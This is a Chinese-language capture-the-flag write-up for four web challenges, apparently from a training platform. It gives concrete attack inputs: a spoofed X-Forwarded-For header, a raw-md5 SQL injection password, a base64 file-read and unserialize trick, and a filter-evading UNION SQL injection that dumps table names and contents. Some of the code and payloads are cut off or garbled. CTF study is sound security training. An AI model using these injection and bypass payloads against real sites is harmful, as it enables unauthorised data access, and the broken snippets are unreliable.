一、localhost
打开链接只有一句话“localhost access only!!”,只允许本地访问,F12打开控制台,编辑和重发消息头加上X-Forwarded-For:127.0.0.1
拿到flag:PCTF{X_F0rw4rd_F0R_is_not_s3cuRe}
============================================================
二、Login
参考文章
打开链接需要输入密码,本以为是密码爆破,结果失败,然后F12查看到提示
发现提示:select*from admin
where password=’".md5($pass,true)."’,md5()函数参数的具体解释如下:
输入password为ffifdyop,就可以回显出flag
拿到flag:PCTF{R4w_md5_is_d4ng3rous}
===========================================================
三、神盾局的秘密
F12查看控制台会发现有一串base64代码c2hpZWxkLmpwZw==
,解码后发现是shield.jpg
,然后知道URL是用base64来构造的,我们尝试访问shield.php,所以构造:showimg.php?img=c2hpZWxkLnBocA==
然后就会获得代码
file = $filename;
} function readfile()
{
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE
&& stripos($this->file,'\\')==FALSE)
{
return @file_get_contents($this->file);
}
}
} ?>
代码审计获取信息,file不能包括../\\
,结合之前做过的一个题目,可以尝试访问index.php,然后F12又会发现一段代码
?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x-
结合两段代码:需要构造URL来readfile。
- showimg.php?img=
==========================================================
四、In A Mess
打开链接只有一句话“work harder!harder!harder!”,
F12查看到提示index.phps,于是访问,得到代码,整理后如下:
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
} $data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
代码审计:
- 需要传入三个值:id、a、b
- id:弱类型等于0,所以构造id=0b;b:使用%00截断,构造b=%0011111;
- a的构造不是特别明白,查看大佬的wp构造a=php://input
- 在构造URL的同时还需要传入data,数据为:1112 is a nice lab!
返回一类似于地址的字符串,访问发现后边会自动添加id=1
猜想是sql注入,于是传入id=1’
尝试注入了一些关键字,然后发现大部分关键字还有空格都被过滤掉了。关键字可以使用双写的方式绕过,比较麻烦的是空格,查看大佬的文章发现可以使用/*1*/
绕过。构造?id=2/1/uunionnion/1/sselectelect/1/1,2,database()可以回显出test
继续查询:id=2/1/uunionnion/1/sselectelect/1/1,2,group_concat(table_name)/1/frfromom/1/information_schema.tables/1/where/1/table_schema=database(),得到表名为content
继续查询:id=2/1/uunionnion/1/sselectelect/1/1,2,group_concat(column_name)/1/frfromom/1/information_schema.columns/1/where/1/table_schema=database()得到列名
查询context内容:id=2/1/uunionnion/1/sselectelect/1/1,2,context/1/frfromom/1/content
拿到flag:PCTF{Fin4lly_U_got_i7_C0ngRatulation5}